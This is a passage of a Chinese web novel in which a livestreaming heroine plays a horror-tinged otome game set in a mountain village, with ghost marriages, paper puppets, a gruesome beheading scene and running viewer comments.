【说起来,只有我一个人觉得这个游戏有点不正常吗?一个乙女游戏,进入之后连男主的名字都不知道就先忙着逃命了……】 “可是这样真的很刺激诶!”之芙拖长了语调说,“这样的全息游戏,只体验甜甜的恋爱难免有点没意思,加入这种逃亡剧情才更让人印象深刻吧?那个词怎么说的来着?吊桥效应?对吧对吧?” 【对的对的对的,老婆你说什么都是对的。】 【我也觉得很奇怪但是她在用星星眼看我诶!】 【我芙又骄傲了,小狗挺胸,笑死。】 【还是祈祷一下不要遇到什么恐怖的动物,野外的动物很恐怖的!如果遇到我就只能被迫下线了呜呜呜接受不了恐怖的画面……】 【楼上的我还是觉得……人心比鬼恐怖……你觉得在这荒郊野岭的,是遇到野兽恐怖还是遇到人恐怖?】 【呃,那还是不要遇到人吧……等等!】 纷乱的弹幕停滞了一瞬,随即爆炸式的脏话语气词一瞬间刷满了屏幕。 与此同时,之芙停下脚步,看向自己的脚下—— 惨白的手电筒光摇晃着照亮了脚下崎岖的山路,她脚下正踩着一枚铜黄色的纸钱。 灯光顺着铜钱往前照,前方像是突然出现了一条纸钱铺成的小路,再往前是弥漫着白色雾气的山林,无数的细瘦的白桦树像是一根根支柱一样冲上漆黑的夜空,那些白雾如有实质一般遮挡住了她的视线。 但更引人注目的是,白桦树的周围像是凭空冒出了无数黑影,密密麻麻的,那些黑影依靠着树干,像是和树干融为一体似的,一齐看向了它们的前方,像是在等待什么似的。 【啊啊啊啊啊啊芙芙快跑!】 【卧槽卧槽卧槽我柜子动了我不看了】 之芙却对着屏幕,做了一个噤声的手势。 她关掉了手电筒,顺着纸钱往前走,月光照亮了面前的路,在昏暗的光线下,纸钱竟无风自动,顺着光线上下翻飞,仿佛在为她引路。 这次游戏的氛围塑造挺到位啊。之芙在心里说,这不就是游戏里选中了正确的剧情后会触发的cg吗? 顺着纸钱的引路走进,白桦树上的花纹愈发清晰,竟然像是一个个睁大的眼睛,直勾勾地盯着她看,树皮在月光下泛着油光。 手里握着的指南针忽然发烫,指针在疯狂旋转——正北方的山道上,一顶朱漆斑驳的轿子正破雾而来。 之芙猛然刹住脚步。山道不知何时铺满浸血的纸钱,而那血正幽幽地往外渗。她弯腰细看时,忽有阴风卷着唢呐声灌进耳膜。 八个纸扎人抬着轿子飘过铺满血钱的山道,惨白的脸颊画着十足夸张的腮红,像是扮相惹人发笑的纸偶。 轿帘被阴风掀起一角,露出新娘缀满珍珠的绣鞋,只是那鞋面上浸着大片黑褐色的血渍,而风声愈发凄厉,翻涌着卷起绣鞋上的嫁衣——那嫁衣里居然空无一物,像有个透明的衣架子正“穿”着它。 之芙屏息缩进树影,忽然身上一沉,她低头看去,却发现嫁衣不知何时又回到了身上,冰冷的衣料正散发出沉重的血腥味,衣摆沉重,像是无数双鬼手正拖着她往下,而那只消失不见的纸公鸡也回到了手上。 "新娘子到——\"尖细的唱喏刺破夜空,山道两侧突然亮起两排白灯笼。 狂风卷起轿帘,而那轿中此刻已经空无一人,空空荡荡的位置似乎在等待着她坐进去,成为谁的新娘。 轿帘上下翻飞,之芙盯着轿厢内铺满桂圆红枣的软垫,直播间突然炸开成片弹幕。随着她踏着纸钱往前走,倚靠着白桦树的鬼影同时直挺挺地扭头看着她,视线随着她的步伐缓慢移动,像一只只没有生命的人偶。 之芙伸手拨开垂落的珍珠流苏,发现本该是轿顶的位置悬浮着一个个萤火虫般的光点。 "隐藏剧情触发点?"之芙提起嫁衣裙摆就要迈步,裙角传来轻微的撕扯感,她低头看见一只巴掌大的纸偶正拽着她的裙摆——竟是一个白色的纸偶模样,朱砂点的腮红在月光下泛着血光,它像是用尽了吃奶的力气,拼命地拽着她的裙摆往后挪。 “又是一个纸偶?”这是谁的纸偶?那个男人的吗?之芙晃了晃裙摆,纸偶却顺着衣料往上攀爬。 纸偶用轻飘飘的白纸做的手拍打她手背,指向她身后树影,只是因为它没有手指,动作倒也不太能让人看出来是个指向的动作…… 所以,当裴砚的声音混在夜风里传来时,之芙还捏着纸偶的胳膊研究:“这关节做得挺灵活啊,你的主人是谁?他认识黎夜吗?黎夜是谁?哦……他是个我认识的人偶师,他很厉害的,当然啦,其实我也会做木偶的……” 话音未落,纸偶突然一下子跳上了她的脸,一只手抱住她的脸颊,另一只冰凉的手掌捂住她即将惊叫的嘴。 “闭眼。” 熟悉的血腥气息笼罩下来,之芙后背撞进坚实的胸膛。男人带着薄茧的手掌覆在她眼睑上,另一只残缺的手摘下趴在她脸上的纸偶,放在手上,他咬开食指,点在纸偶小小的身体上。随后之芙看见那一只纸偶化作漫天雪白的纸偶,每一只都精准地冲向前方的花轿。 “啊——!!!!!” 树林里倚靠着白桦树的鬼影同时尖叫了起来,在尖叫声里,身旁男人的声音清晰地传过来: “不是说过,你什么都看不到吗?” 话音未落,夜风吹过,下一秒男人抓住她的手往后狂奔,之芙踉跄中回过头去,看到无数纸偶正沿着花轿攀爬,用身躯结成屏障挡住花轿。一只纸偶爬上她的肩头,白纸做的两只手环抱住她的脖颈,脸颊紧紧地贴着她的脸,它用朱砂画就的嘴型无声地说:“你看不到。” 第90章 《她看不见》 就算是鬼老公也要长得好…… “喂……呼……等等!”之芙被一路拉着狂奔下了山, 小纸偶紧紧抱住她的脸颊,在呼呼的风声中,之芙艰难地开口, “我还不知道你叫什么呢!” 前置剧情走完了,总该告诉她名字了吧? 男人回头看了她一眼, 似乎很奇怪为什么在这样的境地里她的关注点会如此奇怪。 然而之芙不仅没能理解他的意思, 还很疑惑,看她是什么意思?哦对了,她也没自我介绍呢。 于是大大方方开口:“我叫之芙, 是, 嗯……刚毕业的大学生,被打晕卖到这里……” “我知道。”男人忽然开口, 打断了她的话, “我还知道你在哪个大学上学, 知道你家在……算了。” 男人脚步不停, 直接拉着她上了楼, 把她扔到了房间里:“你今晚就睡这里。那些人在外面,你别出去。” 熟悉的房间,熟悉的床, 熟悉的龙凤烛——床上还扔着她换下的衣服。 之芙看看身上的出现的嫁衣, 又看看地上的那件一模一样的衣服, 身上的衣服的触感忽然变得奇怪, 冰冷而坚硬——一摸,居然变成了柔软的纸片。 纸衣服, 纸公鸡,还有——现在趴在她肩膀上的纸人偶。 其实她现在还没搞明白发生了什么。这就相当于游戏没有介绍背景,一上来就让她逃命——所以按照剧情, 也该告诉她发生了什么了吧? 小纸偶从肩膀上爬到她的手心里,之芙期待地看着他。 男人表情冷淡地看了她一眼,却忽然一怔,猛地转过头去,只留下一双发红的耳朵:“你……你先把衣服换了。” 说罢就要往外走。 “等等!”之芙着急,他又走了,到底要什么时候才能告诉她游戏背景,她还什么都不知道呢!“你什么都不告诉我吗?我还什么都不知道呢!” 男人顿了顿,停下了脚步。他没有回头,只是站在走廊上,背对着她,低声开口:“你想知道什么?” “你叫什么?这里发生了什么?刚刚那个是什么东西?你又为什么要叫我嫂嫂?” 男人却不答反问,语气还有些疑惑:“你什么都不知道?” “我一觉睡醒就在这里了,只知道自己定了娃娃亲,丈夫是个死人。”之芙说,“你不是说你什么都知道吗?” “……”一阵沉默后,夜风里传来男人的声音,“叫我裴砚就行。你说的那个,咳,死人。……那是我哥。” 之芙:“……” 即使心大如她也不由得内疚起来:“对不起。” 男人,不,现在应该叫裴砚了。裴砚摇了摇头:“没什么,你知道得越少对你越好。记住我说的话,你什么都没有看到。” ——这已经是不是他第一次说这句话了。在短短的一个夜晚,裴砚至少说过五次这样或类似这样的话,她又不能选能看到什么、不能看到什么。看到了就是看到了,还要说什么“没看到”,不觉得奇怪吗?之芙不解,提醒他:“可是我什么都看到了。” 她话都还没说完,趴在她手上的小纸偶尖叫着扑上来,捂住了她的嘴。 之芙:“……” 之芙眨了眨眼,跟小纸偶对视,竟然从那双朱砂点的眼睛里看出了惊恐的意味。 “好吧好吧……”她摸了摸小纸人的脑袋,把它从自己的脸上摘下来,“我什么都没有看到。” “早点睡吧。”裴砚像是被她和小纸人之间的互动逗笑了似的,笑着说,“明天还有事要做。” “……什么事?”她还以为这个事情是裴砚信口胡说的,谁家新嫁娘第二天就要早起干活? 裴砚抬头看了她一眼:“守灵,打棺。” “……什么?”之芙还以为自己听错了。“给谁守灵?” 裴砚静静地抬起眼:“我哥。” ——直到这一刻,之芙才看清楚了他的脸。这个做事缜密,几次三番默许和暗示她逃跑的男人,竟然长着一张清俊的娃娃脸。 他的眼型是那种在俊美的男人里很少见的杏眼,即使在这样昏暗的光线下都能看清他瞳孔是干净的琥珀色,这也是少见的瞳色,然而放在他的脸上却不显得奇怪,大概因为他的脸型非常好,五官深邃,下颚线条干净利落地收紧,看起来锋利得像是一把刀,眉眼却隐约有些稚气。 他的额发有些长,就这样站在廊下看过来,像一只用湿漉漉的眼神看人的小狗。 但之芙却顾不得欣赏这张大概花了建模师十几个月才建成的、完美的游戏建模的脸,呆立原地。 她脑海中回响着刚刚裴砚所说的话——他哥,也就是说…… 之芙指了指自己:“我的……丈夫?” 裴砚眼一眨,那意思是:不然呢? 之芙才注意到,他的眼睫也很长,像是一把小刷子——等等等等,现在不是在意这个的时候! 【有点恐怖怎么说……】 【虽然我在很努力地忽视这些问题,但……就是真的很恐怖啊!】 【还是问清楚到底是怎么一回事吧,这个游戏到处都透着不对劲啊!什么突然嫁给一个死人,什么逃跑路上遇到鬼和花轿,什么第二天还要给死了的丈夫守灵……还有那个小纸人,也很恐怖好不好!】 之芙看了一眼小纸人,小纸人乖乖地被她拎着一只手,垂在空中。幸好小纸人看不到弹幕,明明是个很可爱的小纸人。 弹幕还有关注点跟其他人不一样的: 【守灵什么的……呃对不起芙芙,妈妈对守灵俏寡妇芙宝产生了不好的幻想……】 【对芙芙犯了错加一,人之常情……】 【人之常情……】 大概看着她欲言又止的样子,裴砚非常理解她作为一个刚毕业就被卖到这里、莫名其妙嫁给一个死人的女孩子,此刻恐惧又或者疑惑心情,他体贴地说:“还有什么想问的吗?” 之芙看着弹幕上闪过的花花绿绿的字体,张了张嘴,脱口而出:“……他长得怎么样?” 此言一出,裴砚张了张嘴:“……” 他用一种难以言喻的,仔细来讲应该是震撼的眼神看着她。 之芙的表情却很理所当然:“他是我的丈夫,我问一问也很正常吧?” 好像有哪里不对,又好像没有问题。 就算是鬼老公也要长得好看,才能当老公的。这就是之芙玩游戏的准则! 裴砚一抿唇:“明天你就知道了。” “什么意思?” 裴砚一挥手,一个纸人从他的袖口钻了出来,跳到地上,蹦哒着关上了门。 小纸人对之芙挥了挥手,做口型:“晚安哦!” 90-100 第91章 《她看不见》 “这是殓衣。…… 大门在身后轻轻合拢, 月光从大开的窗外漏进来,在地上织出霜色的银白。小纸人蹦上绣着并蒂莲的锦被,踮着脚尖将枕头拍出浅浅的凹痕, 意思是,睡觉。 之芙倚着红漆床柱笑出声来, 看着那片不及掌心大的白纸在枕巾上忙碌。月光流过它朱砂绘就的五官, 给薄如蝉翼的身躯镀上银边,倒像是真的有了温度。她挨着那抹雪色坐下时,绸裙与宣纸相触发出细碎的窸窣声。 小纸人拍了拍她的裙摆, 示意她身上还穿着纸片衣服。 之芙看到旁边放着一套新的衣服, 解开纸片衣服的扣子,正准备换上衣服, 忽然看到小纸人转过头, 面对着墙壁。不知是不是错觉, 纸人的脸蛋红红的, 跟它的主人一样。 “要帮我换衣服吗?”她故意解开领口盘扣, 果然见小纸人猛地转身,单薄的后背绷成笔直的纸片。月光映得它脸颊处的朱砂愈发鲜艳,仿佛雪地里绽开的红梅。 可爱得不得了!简直和那个总是冷着脸却耳尖通红的家伙一模一样。 之芙突然起了坏心思, 指尖戳了戳纸片人发烫的脸颊。小纸人一个趔趄栽进被褥堆里, 慌慌张张用衣袖挡住眼睛:“非礼勿视!主人说、说姑娘家换衣服要避人……” “原来你会说这么多话呀?”她故意把纸片长裙抖得哗啦作响, 眼见纸片人快要蜷成团子, 这才笑着拢好衣襟:“骗你的,早换好了。小纸人小纸人, 你怎么这么好骗呀?” 烛火摇曳中,小纸人气鼓鼓地钻进锦被,却在感受到身后床榻下陷时立刻支棱起来。之芙带着夜露寒意的指尖刚触到被角, 小纸人已经抖开暖融融的被褥,示意她钻进被子里。 “晚安吻要不要?”她突然凑近,看着纸片人头顶朱砂“腾”地漫过脖颈。不等小纸人回应,之芙轻轻低头,温软的唇已落在它眉心,混着某种说不清道不明的、幽幽地香气。 小纸人脸颊红红地,揉着自己的脸,呆呆地看着她,好半晌蹦出一句:“睡觉。主人说,明天,明天还有事情要做。” 之芙失笑:“你怎么跟你主人一样呀。”一板一眼的,只会催她睡觉,反复重复那两句话。 小纸人抱住头,爬到她枕头上,躺好了,眼巴巴地看着她。 之芙也跟着钻进被窝,把被子盖在小纸人的肚子上,捧着它亲了一下它的头顶:“好吧好吧,睡觉。晚安,可爱的小家伙。” 夜色更浓了,呼啸而来的风把打开的窗户吹得大开,冰冷的夜风吹进房间,睡梦中,之芙皱了皱眉。 小纸人似有所觉,小心翼翼地从被窝里爬出来,呼哧呼哧地攀着帷幔爬上窗台,月光勾勒出它奋力推窗的剪影,纸做的身躯在狂风中弯成新月,直到“咔哒”一声,锁住满室温暖。 它看了看睡得正熟的之芙,又钻进了被子里,乖乖躺好——没能成功。 之芙一翻身,把它抱在了手臂间。香香的、软软的、温暖的脸颊蹭了蹭它的,嘴里嘟囔了一句什么,听不清晰:“唔……” 温香软玉猝然贴近,带着湿润的气息拂过纸面,脸颊上点的朱砂像是突然灼烧起来。小纸人呆望着近在咫尺的睡颜,宣纸身躯泛起奇异的潮红,它整个僵在之芙的手臂间,从头到脚都变红了。 一墙之隔,寂静的另一间房里。 裴砚猛地停下了操控纸人的手。残缺的左手还悬在空中,维持着操控的动作,右手却死死按住狂跳的心口。 陌生的触感顺着他和纸人的链接传来,仿佛女孩儿的脸颊此刻正抵着他的脸颊厮磨,少女睫毛扫过纸面的颤动,此刻正清晰烙在他颈侧。残缺的手掌垂下,另一只手抚上脸颊——烫的。 不用照镜子,他也知道自己的耳朵一定红透了。 他的手指动了动。小纸人伸出两只手撑着之芙的手臂里,艰难地把自己像拔萝卜一样“拔出来”,挣扎着爬出去。 之芙翻了个身,声音像是黏在一起的棉花糖似的又甜又软:“跑什么……” “……” 一墙之隔,裴砚捂着脸,深深地吸了一口气,脸上的红晕却怎么也下不去。 他默默把自己摔在床上,拉过被子,盖住头顶。 仿佛这样,就可以逃避脸颊上湿润的触感似的。 …… 第二天,之芙是被脸颊上冰冷的触感唤醒的。她迷迷糊糊地睁开眼,只见小纸人拍着她的脸颊,像是一只准时而尽心尽力的闹钟。 之芙昨天才在山上跑上跑下,一双腿软得跟面条似的,加上早晨空气冰冷,温暖的床和被窝像是两块吐司一般紧紧地夹着她——之芙就是中间那块掉不出去的午餐肉。 “唔……”她把小纸人抱进怀里,“我再睡五分钟……再睡……睡……” 小纸人却很着急的样子,见她又要往被窝里缩,急得扯过她散落在枕头上的头发——倒像是某人克制的催促。 “裴砚叫你来的?”之芙被它“骚扰”得清醒了过来,打了个哈欠,看到了床边放好的一套白色的衣服。 拉起来,是一套……寿衣? 白色的裙子,白色的长纱外套,衣服堆叠的上方,放着一只纸折的栩栩如生的不知名黑花和一块头纱。 衣服的形制有些奇怪,跟现代人穿的简单的便服不同,是之芙没有见过的款式,上面挂满了绳子和穿孔,像是少数民族的衣服。 之芙还对着衣服研究着,门就被敲响了。 门外的人轻轻咳嗽了一声,才出声:“醒了吗?” 之芙没应声,她换好衣服,故意把纸片人揣进心口,感受到掌心传来剧烈的震颤。直到门外响起三声克制的叩击,小纸人终于“噗”地化作青烟,逃也似地打开门,钻回主人身边。 门外裴砚正靠在墙壁上,小纸人站在他摊开的掌心里,仰头看着他,像是在跟他说着悄悄话。而裴砚也垂下眼睫,温柔地看着它。 见她出门,裴砚收起了手。小纸人像是凭空消失了一样,而裴砚表情平静地转过身来,上下打量了她一下,目光落在她的胸口。 之芙顺着他的目光看去——她不会穿这种衣服,胸口胡乱系紧,但还多出一块布来,垂在外面。 “你的……衣服。别进去就好。” 之芙搞不明白这件衣服为什么会多出一截,这难道不是设计的失误吗? 她胡乱把衣角塞进胸口,胸口又鼓囊囊地突出一块。 裴砚:“……” 裴砚的表情看起来有些无语,但眼睛里却带着一些笑意。他冲之芙招了招手,却不等她走上来,就主动靠近了她,手拉上衣服:“要这样……” 话没说完,他抬头,对上之芙的眼神。刚抬起的手又触电般收回。 脸颊倏忽窜上一抹红,他猛地后退,偏过头。 一只小纸人从他的袖口跳出来,顺着他的手,挂在之芙的衣服上。纸人带着主人指尖的温度缠上少女衣带。 “让、让它帮你系好。” 之芙一低头,对上了小纸人用朱砂点的眼睛。 “这是殓衣。”他声音沙哑得不像解释,倒像是在掩饰着什么。纸人灵巧地穿梭在繁复绳结间,“亡者七日回魂时,生者需着……” 裴砚脸上的红晕还没消下去,他抿了抿唇,拿起之芙攥在手里的头纱,戴在她的头上。 头纱是一块及肩的半透明白纱,能隐隐约约遮住脸。 “戴上,别让人看到你的脸。”他压低了声音说,“你不想永远留在这里吧?不想的话,就听我的。” 第92章 《她看不见》 七日回魂 【ohhhhh我芙新皮肤!好看!】 【想要俏一身孝, 芙芙穿这身白衣服好像女鬼,弱柳扶风,美貌寡妇, 痴情女鬼,纯情嫂嫂……等等我在说什么, 对不起对芙芙产生了不好的幻想, 妈妈有错】 【楼上等等,我也……】 【呵呵呵呵呵叔嫂这种身份也太暧昧了吧!游戏公司你想搞擦边的心已经被我们看透了!】 【男主:嫂嫂开门,我是我哥.jpg】 晨雾像是一片轻飘飘的白沙, 笼罩了山间的石块地板, 之芙提着白色的裙摆,之芙踩着裴砚的影子, 从一块石头上跳到另一块石头上。 “咦?”脚下像是踩到了什么, 低头一看, 脚下湿漉漉的石块上沾着一张血红的“囍”字, 印字的红纸被露水泡得软烂, 像极了褪色的血痂。 “裴砚,这件衣服是丧仪吗?”她一边看着眼球花花绿绿的弹幕,一边发问, “你说的殓衣是什么?七日回魂又是什么?” 之芙倒是听说过这样的习俗。丧仪呢, 就是如果有死去的亲人, 人类就会换上一身白衣或者一身黑衣, 来代表自己的哀悼。回魂,就是人类传说死去的人会在第七天回到家里, 跟自己的亲朋好友告别。 “殓衣是……” “噔噔噔!噔噔噔!” 远处传来一阵急促的脚步声,打断了裴砚要说的话。两人同时抬头望去,之芙还没来得及看清楚远处那个急速靠近的黑影是什么, 就猛地被对方撞了一个踉跄。 之芙踉跄的一瞬间,身后的人就扶住了她的腰:“小心。”他低声说。 “裴先生!救我!”女孩的声音响彻山林,紧接着是一声沉闷的“咚”,女孩毫不犹豫地跪在了石头上,随着沉闷声响一起到来的是耳朵里混着腐土气息的血腥味。 那团雪色影子几乎是滚到裴砚鞋边的,沾满泥浆的十指在裴砚的黑衣上抓出几道混合着泥的血。 女孩的十指深深抠进裴砚的衣摆,整个身体像是狂风中稻草一般颤抖着,指缝里的泥沙混着血水往下淌。她脖颈处紫红勒痕在雪纱映衬下格外刺眼,声音沙哑,语无伦次,“求您……求求您……” 少女仰起的脸上糊着血泥,发间还缠着几根枯草。她脖颈处被麻绳磨烂的皮肤粘着雪纱衣领,每说一个字就有血沫从嘴角溢出,“他们说我娘收了二十担谷子,定了娃娃亲……可我阿娘去年就病死了啊!我没有见过……我真的没有见过那个男人!” “……”裴砚没有接话。他抿紧了唇,避开了女孩的视线。 之芙注意到,原本坐在她肩膀上的小纸人忽然跳了下去,在女孩没有注意到的时候,悄悄地钻进了她的衣服里。 “裴先生,我知道您有大神通,求求您救救我吧!当初、当初我跟那只公鸡拜堂的时候,也是您给了我衣服……” 之芙眉头一跳。 这个女孩的遭遇,和她遇到的事情一模一样。而且,如果仔细观察的话,能发现这个女孩的身上,也穿着和她一模一样的白色殓衣,她乱糟糟的头发上,也别着一朵黑色的纸花。 “我帮不了你。”裴砚垂眼。他漆黑的眼睫鸦羽一般翕动,站在那里像是一尊满脸怜悯的神像,除了露出怜悯的表情之外什么也做不了。“你娘收了聘礼,你拜了堂。契约已成,无可更改。” 小纸人从裴砚袖中探出半截身子,又被他用残缺的左手按回去。晨光下,他残缺的指根显得更加令人注目,他却将手往袖子里藏了藏。 不远处传来杂乱的脚步声,女孩浑身一震,看向裴砚身边带着白纱的之芙,忽然扑过来,用手用力地撕扯她的衣服:“别穿这个,你快跑!快跑!你快离开这里,别像我一样,来不及了,什么都来不及了……” 之芙被她扑得踉跄,下意识蹲下身扶住她的手,两人对视,一个茫然,一个悲痛。之芙想帮她,但她现在也什么都不知道。她看向裴砚:“裴砚……” “在那里!” 五个壮汉破雾而出,鞋子踩碎青石板上的水洼。为首的刀疤脸抬手便是一记闷棍,打得少女闷哼了一声,跪倒在地上。 “跑什么!”刀疤脸厉声呵道,身后的几个壮汉一人抓住女孩的一只手,把她反绑了起来,“你以为谁会救你!死了这条心吧!” 男人说完,才看到了面前的裴砚和之芙,他露出了一个惊讶的表情。 “裴先生。”壮汉拖拽着少女在石板上犁出血痕,刀疤脸却朝裴砚深鞠一躬。 他穿着一身简单的布衣,衣服上还有几个补丁,脸上满是风吹日晒后的粗糙痕迹,手上也布满了老茧,一看就是大山里的庄稼人,操着奇怪的口音,面对裴砚的时候却非常客气,似乎极力捏出文绉绉的词语。他搓了搓手,又看向裴砚身后的之芙。 之芙从没有见过他,对于刀疤脸来说应该也是这样。但他也对之芙非常客气,熟稔地点点头,叫道:“裴夫人。” “裴先生,吉时要到了。”男人们像抬牲畜般架起少女,却对之芙露出古怪的恭敬神色,刀疤脸做了一个请的动作,捏着奇怪的腔调,“少夫人也请移步祠堂。” 之芙看向被架起的女孩,抿唇往她的方向走了一步,正想要开口为女孩说话,忽然注意到,小纸人忽然从女孩的袖子里露出一个脑袋,冲她摇了摇头。 之芙心里便有数了。她跟着裴砚和几人一起,走了大约十分钟的样子,面前忽然出现了一栋古老的三层飞檐小楼。它静静地矗立在大山之间,像是一只眼睛,沉默地注视着走进的人群。 推开朱漆剥落的大门时,之芙错觉自己跌进了巨兽咽喉。门内一片昏暗,只在四角燃着昏黄的烛灯。 四面的墙壁爬满暗绿苔藓,像食道里倒生的绒毛,每一根都坠着褪色的红绸。晨光从瓦缝漏进来,竟染成了浑浊的铜锈色。 正中央摆着一口大开的棺材,上千个木质牌位在前方堆叠成塔。牌位没漆金字,上面深深的刻痕也融入了黑暗之中,香灰积了半寸厚的供桌上,歪倒的龙凤烛淌着尸油般的蜡泪。 男人们把女孩压到了棺材的前方,迫使她跪在地上,低下头。 “请裴先生净手。”大汉抬起一个铜盆,铜盆里却不是干净的水,而是一盆血红的血。 裴砚略一颔首,伸出那只残缺的左手,略微浸湿,右手从袖子里拿住一只纸人,左手食指在纸人的脸颊上点出两个血眼睛。 仿佛画龙点睛,那只纸人像是活过来一般,从裴砚的掌心跳到了棺材中,为棺材里的男人换上了白色的寿衣。 当那具肿胀的尸首被套上寿衣时,之芙突然认出这人十分脸熟,仔细一看,她竟然见过——昨晚的山上,这个男人靠在白桦树上,也曾见过她。 刀疤脸不知从何处拿来一把沾满血迹的砍刀,走到了女孩的身后。 ……等等!之芙想说。这一幕太熟悉了,她曾在无数的文学作品里见过—— 但男人大吼的声音盖过了她的声音:“同棺共椁——!!!” 这一声落在之芙的耳朵里,莫名地,与昨天喜娘大喊的“夫妻对拜”重合了。 “等等!!!” 刀光闪过时,一双温热的大手蒙住了之芙的眼睛。但她还是听见颈骨断裂的脆响,温热的血溅在脸上,带着女孩身上的泥土气息。裴砚的声音在血腥味里显得格外清晰:“殓衣不是寿衣,是新娘的嫁衣。” 满地滚动的头颅仍在眨眼,之芙看着小纸人从棺材里跳出来,抱起女孩的头颅,把少女尸体塞进棺材。 几个小纸人把棺椁盖上,随后为首的刀疤脸招呼其他人一起,几人抬起棺材,往祠堂外走去,身影很快就消失在了晨雾之中。 可那血腥味,却久久不散。 小纸人从地上跳到了之芙的肩膀上,双手抱住她的脸,蹭了蹭,仿佛在安慰她。 可它的主人的语气却冷漠又平静,他说: “看到了吗?这就是七日回魂后,你的结局。” 第93章 《她看不见》 异类 祠堂内寂静得能听见烛火跳动的声响。窗外白桦树的枝叶在风中轻颤, 沙沙声衬得裴砚刚落地的那句话无比阴森,仿佛带着森森的寒气,窗外白桦树枝干上的疤痕像是活过来似的, 直勾勾地盯着之芙,仿佛无数只眼睛正注视着她的一举一动——然而定睛一看, 又不过只是她的错觉。 地面上残留的血迹在烛光下泛着暗红的光泽, 像一汪深不见底的潭水,倒映着她苍白的脸,仿佛昭示着她的结局。 一只小纸人忽然从裴砚袖中探出头, 左右张望一阵, 轻巧地跃向祠堂深处。 “哎——” 之芙下意识追着那抹白色,绕过层层叠叠的牌位, 在角落看见一口漆黑的棺椁。 纸人费力地掀开棺盖, 钻了进去。 棺材里, 躺着一个面熟的男人。他闭着眼, 不像普通尸体那样面部僵硬青紫, 他的表情自然而安详,嘴角噙着温柔的笑意,仿佛只是陷入了一场美梦, 眼睫温顺地垂下, 在瓷白的皮肤上投下一片细碎的阴影。 他面容的轮廓十分柔和, 微扬的眼尾带着几分慵懒, 仿佛随时会睁开那双含笑的眸子,露出清凌凌的笑容般。 但更引人注目的, 是他垂在身侧的手——那只手的左手缺少了一截无名指,从指根处齐齐斩断,断指处泛着珍珠般温润的光泽。 纸人趴在男人的脸上, 用脸贴着男人的脸,发出“嘻嘻”的笑声,像是在与久别重逢的故人亲昵。 “这就是我哥,裴钰。你不是好奇他长成什么样子吗?现在你见到了。”身后,裴砚不知何时掀开素帛,站在她的身后望向躺在棺材里的男人,他的声音从身后传来,带着一丝若有似无的叹息。“怎么样,对这个自己素未谋面的丈夫可还满意?” 他抽出了三只香,点燃后插在了棺椁的缝隙中。渺渺的白烟四散开来,为棺椁里的男人蒙上了一层皎白的面纱,在面纱下他的笑容若隐若现。 “他和你……看起来不太像。”隔着面纱,之芙打量着棺椁中的男人,目光在两张相似却气质迥异的脸上游移,“不过,我觉得他有点熟悉,像是我认识的一个人。” ——像是上一个游戏里的男主,夕同简。也像是她在现实世界里认识的那个人,游戏公司的方寄南。 或许他们这样气质温柔的男主,看起来总有些相似吧。之芙想。 “据我所知,你们应该没见过面。”裴砚修长的手指拂过棺椁,那只残缺的手掌在乌黑的棺木上格外醒目。虽然手掌残缺,但他似乎并没有避讳或是自卑的意思。 之芙盯着尸体残缺的左手,那只手上,也是一样的残缺,像是被什么利器齐根剪断,才留下这样珍珠般的伤口。 原以为是什么意外留下的残疾,原来不是。 “做阴活的不能十全,总要留点残缺。”裴砚招招手,趴在男人脸上的小纸人就回到他的掌心里,他的声音轻得像一缕烟,“魂魄不全,才能通阴阳,驭鬼神。” 晨雾从窗缝渗进来,缠住他残缺的无名指根——他的指根缠着一条猩红的丝线,延伸至远处的虚空。晨雾中,那红线随着她的触碰轻轻颤动,像是某种隐秘的联系。 “这是什么?是你操控纸人的丝线吗?”之芙有些疑惑地问。 她下意识看向躺在棺椁中的男人,他残缺的无名指上也缠绕着一根血红色的丝线,她另一只手握住男人的手,轻轻地一动,男人指根的红线在昏暗的灯光下若隐若现,没入祠堂横梁的阴影中,丝线每颤动一次,房梁就落下细碎灰尘,在昏黄的灯光下跳跃舞蹈。 整座祠堂的牌位突然开始震动,最顶层的灵位发出了一声呻吟般的尖叫,“啪”地一声裂开,露出半张泛黄的婚书,轻飘飘地打着旋儿,在他们的头顶落下。 裴砚抽回手的动作扯断红线,虚空里传来纸张撕裂的脆响。他掌心里的小纸人骤然暴起露出血盆大口,将婚书残页吞入腹中,而后也轻飘飘地、像一张纸一样落在之芙的头顶。 小纸人扒住之芙的脑袋,用脸颊蹭了蹭她的头发。 之芙伸出手,小纸人就主动跳进她的掌心里,在她的掌心举着手转了个弯,跳舞似的,可是它身体又轻飘飘地,这么一转差点让自己飞起来,好容易扒紧了之芙的手指之后长呼了一口气,小心翼翼地抬起头悄悄看着之芙的表情。 之芙被它可爱的举动逗得笑了出来,戳戳纸人的脑袋。 她在这一头跟小纸人玩得开心,丝毫没有注意到站在身旁的裴砚耳尖悄然染上绯色。他的目光落在她含笑的侧脸上,声音不自觉地放柔:“你很喜欢它?” 之芙点点头,纸人也依恋地在她掌心蹭了蹭。 “很少有人喜欢它们。”裴砚像是在小孩面前说它们的坏话似的下意识放轻了声音,“你不觉得恐怖吗?这样一群奇怪的生命。” 之芙用两根手指捂住小纸人的耳朵:“怎么会!它们可比刚刚那群人可爱多了。再说了,奇怪只是人类狭隘的看法,在他们不知道的地方,谁知道还有什么他们不认识的生命存在呢?” —-就像是她。在人类看来,他们魅魔的存在也很奇怪吧? 但她,还有许多许多的魅魔,许多许多奇异美丽的生命,就这样存在于人类之间,或平静或热烈地生活着,而绝大部分人类对此一无所知。 就像是夕同简说的,只有无知的人才害怕与自己不同的异类。 “它也很喜欢你。这群纸人喜欢的人类不多,它们说你很特别。”裴砚说着,修长的手指覆上她的手背。他的体温偏低,却让之芙感到一阵灼热。纸人在两人交叠的手掌间轻轻颤动,像是在传递某种隐秘的心跳。“我教你控制它们。” 烛火摇曳,将两人的影子投在棺椁上,与棺中人的轮廓重叠,仿佛她名义上的丈夫,正微笑着注视着他们。 第94章 《她看不见》 “我教你折纸人。”…… 群山环抱的村落仿佛被时代遗忘, 蜿蜒的羊肠小道是连接外界的唯一纽带。这是一个坐落于大山深处的山村,四面皆是大山,山之外还是连绵不断的群山, 离开这里的交通方式只有两种,一种是脚, 另一种是牛车。 之芙站在山腰, 望着脚下贫瘠的梯田,薄雾如纱,将整个村庄笼罩其中, 恍若一座与世隔绝的囚笼。 从山腰放眼望去, 群山却笼罩着一层薄雾,像是白纱, 又像是一个倒扣的罩子, 把村落里的人笼罩在其中, 无法逃脱。 村庄历史久远, 人们依靠农田和大山深处的其他村庄联系而自给自足, 很少与外界往来。 即使步入现代社会,这里也依然…… “等等等等,没有人出去读书吗?”之芙打断了裴砚的介绍, 好奇地问, “就像我, 虽然我生活的村子也很少跟外界接触, 